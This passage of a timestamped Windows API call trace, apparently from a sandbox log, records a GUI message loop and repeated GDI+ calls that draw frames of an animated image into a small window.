(hdc=0x570107cb, graphics=0x15daf0) returned 0x0 [0132.700] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0132.700] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0132.700] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0132.701] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0132.701] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0132.701] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.701] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0132.701] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.701] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.702] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0132.702] GdipCreateRegion (region=0x15dc20) returned 0x0 [0132.702] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0132.702] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0132.702] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0132.702] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.702] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.702] GetSystemMetrics (nIndex=42) returned 0 [0132.702] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.702] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.702] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.702] CoTaskMemFree (pv=0x1e7ac120) [0132.702] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0132.703] GdipCreateRegion (region=0x15d710) returned 0x0 [0132.703] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0132.703] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0132.703] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0132.703] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0132.703] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.703] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.703] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.704] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0132.704] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.704] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.704] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.704] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.704] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0132.704] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0132.704] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0132.704] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0132.704] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.704] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0132.705] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0132.705] GetCurrentObject (hdc=0x570107cb, type=0x1) returned 0x1b00017 [0132.705] GetCurrentObject (hdc=0x570107cb, type=0x2) returned 0x1900010 [0132.705] GetCurrentObject (hdc=0x570107cb, type=0x7) returned 0x1a05067e [0132.705] GetCurrentObject (hdc=0x570107cb, type=0x6) returned 0x18a002e [0132.705] SaveDC (hdc=0x570107cb) returned 1 [0132.705] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x61040b8a [0132.705] GetClipRgn (hdc=0x570107cb, hrgn=0x61040b8a) returned 0 [0132.705] SelectClipRgn (hdc=0x570107cb, hrgn=0xffffffff910407c3) returned 2 [0132.705] DeleteObject (ho=0x61040b8a) returned 1 [0132.705] DeleteObject (ho=0xffffffff910407c3) returned 1 [0132.705] OffsetViewportOrgEx (in: hdc=0x570107cb, x=0, y=0, lppt=0x27ee130 | out: lppt=0x27ee130) returned 1 [0132.705] GetNearestColor (hdc=0x570107cb, color=0xffffff) returned 0xffffff [0132.706] CreateSolidBrush (color=0xffffff) returned 0x69100190 [0132.706] FillRect (hDC=0x570107cb, lprc=0x15d7c0, hbr=0x69100190) returned 1 [0132.706] DeleteObject (ho=0x69100190) returned 1 [0132.706] RestoreDC (hdc=0x570107cb, nSavedDC=-1) returned 1 [0132.706] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.706] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x570107cb) returned 0x0 [0132.706] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd140dbd) returned 0x0 [0132.706] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.706] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0132.706] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.706] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.706] GetSystemMetrics (nIndex=42) returned 0 [0132.706] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.706] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.706] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.707] CoTaskMemFree (pv=0x1e7ac120) [0132.707] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0132.709] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0132.709] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0132.709] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0132.709] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0132.709] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x570107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0132.710] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.710] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x570107cb) returned 0x0 [0132.710] SelectObject (hdc=0x570107cb, h=0x185000f) returned 0x1a05067e [0132.710] DeleteDC (hdc=0x570107cb) returned 1 [0132.710] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.710] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0132.710] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0132.710] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0132.710] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.710] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.710] WaitMessage () returned 1 [0132.823] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.823] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.823] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.823] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.824] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.824] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0132.824] GetCurrentThreadId () returned 0xec0 [0132.824] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0132.824] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.824] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.824] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.824] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.824] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.824] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0132.825] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0132.825] CreateCompatibleDC (hdc=0x3010b83) returned 0x580107cb [0132.825] SelectObject (hdc=0x580107cb, h=0x1a05067e) returned 0x185000f [0132.825] GdipCreateFromHDC (hdc=0x580107cb, graphics=0x15daf0) returned 0x0 [0132.825] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0132.825] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0132.825] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0132.825] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0132.825] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0132.825] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.826] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0132.826] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.826] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.826] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0132.827] GdipCreateRegion (region=0x15dc20) returned 0x0 [0132.827] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0132.827] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0132.827] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0132.827] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.827] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.827] GetSystemMetrics (nIndex=42) returned 0 [0132.827] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.827] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.827] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.828] CoTaskMemFree (pv=0x1e7ac120) [0132.828] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0132.828] GdipCreateRegion (region=0x15d710) returned 0x0 [0132.828] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0132.828] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0132.828] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0132.828] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0132.828] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.828] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.829] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.829] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0132.829] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.829] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.830] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.830] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.830] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0132.830] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0132.830] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0132.830] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0132.830] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.830] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0132.830] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0132.830] GetCurrentObject (hdc=0x580107cb, type=0x1) returned 0x1b00017 [0132.831] GetCurrentObject (hdc=0x580107cb, type=0x2) returned 0x1900010 [0132.831] GetCurrentObject (hdc=0x580107cb, type=0x7) returned 0x1a05067e [0132.831] GetCurrentObject (hdc=0x580107cb, type=0x6) returned 0x18a002e [0132.831] SaveDC (hdc=0x580107cb) returned 1 [0132.831] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff920407c3 [0132.831] GetClipRgn (hdc=0x580107cb, hrgn=0xffffffff920407c3) returned 0 [0132.831] SelectClipRgn (hdc=0x580107cb, hrgn=0x62040b8a) returned 2 [0132.831] DeleteObject (ho=0xffffffff920407c3) returned 1 [0132.831] DeleteObject (ho=0x62040b8a) returned 1 [0132.831] OffsetViewportOrgEx (in: hdc=0x580107cb, x=0, y=0, lppt=0x27ef428 | out: lppt=0x27ef428) returned 1 [0132.831] GetNearestColor (hdc=0x580107cb, color=0xffffff) returned 0xffffff [0132.832] CreateSolidBrush (color=0xffffff) returned 0x6a100190 [0132.832] FillRect (hDC=0x580107cb, lprc=0x15d7c0, hbr=0x6a100190) returned 1 [0132.832] DeleteObject (ho=0x6a100190) returned 1 [0132.832] RestoreDC (hdc=0x580107cb, nSavedDC=-1) returned 1 [0132.832] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.832] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x580107cb) returned 0x0 [0132.832] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd120dbd) returned 0x0 [0132.832] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.832] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0132.832] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.832] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.832] GetSystemMetrics (nIndex=42) returned 0 [0132.832] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.832] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.832] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.833] CoTaskMemFree (pv=0x1e7ac120) [0132.833] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0132.833] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0132.833] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0132.833] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0132.833] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x580107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0132.833] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.833] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x580107cb) returned 0x0 [0132.833] SelectObject (hdc=0x580107cb, h=0x185000f) returned 0x1a05067e [0132.833] DeleteDC (hdc=0x580107cb) returned 1 [0132.833] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.833] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0132.834] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0132.834] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0132.834] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.834] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.834] WaitMessage () returned 1 [0133.009] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.010] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.010] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.010] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.010] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.010] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0133.010] GetCurrentThreadId () returned 0xec0 [0133.010] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0133.010] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.010] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.010] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.010] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.010] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.010] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0133.011] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0133.011] CreateCompatibleDC (hdc=0x3010b83) returned 0x590107cb [0133.011] SelectObject (hdc=0x590107cb, h=0x1a05067e) returned 0x185000f [0133.011] GdipCreateFromHDC (hdc=0x590107cb, graphics=0x15daf0) returned 0x0 [0133.011] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0133.011] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0133.011] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0133.011] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0133.011] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0133.011] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.011] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0133.012] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.012] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.012] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0133.012] GdipCreateRegion (region=0x15dc20) returned 0x0 [0133.012] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0133.012] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0133.012] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0133.013] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.013] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.013] GetSystemMetrics (nIndex=42) returned 0 [0133.013] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.013] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.013] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.013] CoTaskMemFree (pv=0x1e7ac120) [0133.013] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0133.013] GdipCreateRegion (region=0x15d710) returned 0x0 [0133.013] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0133.013] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0133.013] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0133.013] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0133.013] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.014] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.014] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.014] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0133.014] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0133.014] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0133.015] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0133.015] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.015] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0133.015] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0133.015] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0133.015] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0133.015] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.015] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0133.016] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0133.016] GetCurrentObject (hdc=0x590107cb, type=0x1) returned 0x1b00017 [0133.016] GetCurrentObject (hdc=0x590107cb, type=0x2) returned 0x1900010 [0133.016] GetCurrentObject (hdc=0x590107cb, type=0x7) returned 0x1a05067e [0133.016] GetCurrentObject (hdc=0x590107cb, type=0x6) returned 0x18a002e [0133.016] SaveDC (hdc=0x590107cb) returned 1 [0133.016] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x63040b8a [0133.016] GetClipRgn (hdc=0x590107cb, hrgn=0x63040b8a) returned 0 [0133.016] SelectClipRgn (hdc=0x590107cb, hrgn=0xffffffff930407c3) returned 2 [0133.017] DeleteObject (ho=0x63040b8a) returned 1 [0133.017] DeleteObject (ho=0xffffffff930407c3) returned 1 [0133.017] OffsetViewportOrgEx (in: hdc=0x590107cb, x=0, y=0, lppt=0x27efd60 | out: lppt=0x27efd60) returned 1 [0133.017] GetNearestColor (hdc=0x590107cb, color=0xffffff) returned 0xffffff [0133.017] CreateSolidBrush (color=0xffffff) returned 0x6b100190 [0133.017] FillRect (hDC=0x590107cb, lprc=0x15d7c0, hbr=0x6b100190) returned 1 [0133.017] DeleteObject (ho=0x6b100190) returned 1 [0133.017] RestoreDC (hdc=0x590107cb, nSavedDC=-1) returned 1 [0133.017] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.017] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x590107cb) returned 0x0 [0133.017] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd100dbd) returned 0x0 [0133.018] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.018] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0133.018] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0133.018] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0133.018] GetSystemMetrics (nIndex=42) returned 0 [0133.018] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0133.018] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0133.018] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0133.018] CoTaskMemFree (pv=0x1e7ac120) [0133.018] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0133.021] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0133.021] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0133.021] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0133.021] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0133.021] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x590107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0133.021] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.021] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x590107cb) returned 0x0 [0133.021] SelectObject (hdc=0x590107cb, h=0x185000f) returned 0x1a05067e [0133.022] DeleteDC (hdc=0x590107cb) returned 1 [0133.022] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0133.022] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0133.022] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0133.022] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0133.022] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.022] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0133.022] WaitMessage () returned 1 [0133.197] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.197] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.197] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.197] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.197] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.197] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0133.197] GetCurrentThreadId () returned 0xec0 [0133.197] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0133.198] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0133.198] IsWindowUnicode (hWnd=0x2031e) returned 1 [0133.198] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0133.198] TranslateMessage (lpMsg=0x15e910) returned 0 [0133.198] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0133.198] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: 